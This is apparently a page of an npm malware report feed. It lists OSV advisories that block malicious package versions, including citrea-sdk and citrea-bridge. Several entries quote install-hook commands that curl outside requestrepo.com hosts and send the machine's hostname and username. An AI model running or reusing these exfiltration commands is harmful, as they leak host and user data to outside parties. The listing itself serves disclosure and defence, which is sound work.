npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. These reports have OSV or public advisory evidence. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 564
Updated 23 Oct 2026, 14:27 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-6392 blocks this version. On `npm install`, this package automatically runs postinstall.js, which executes `curl -X POST` with a body containing the...
OpenSSF/OSV malware advisory MAL-2026-6391 blocks this version. On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami...
OpenSSF/OSV malware advisory MAL-2026-6390 blocks this version. On `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sen...
OpenSSF/OSV malware advisory MAL-2026-3821 blocks this version. The package citrea-sdk was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3820 blocks this version. The package citrea-bridge was found to contain malicious code.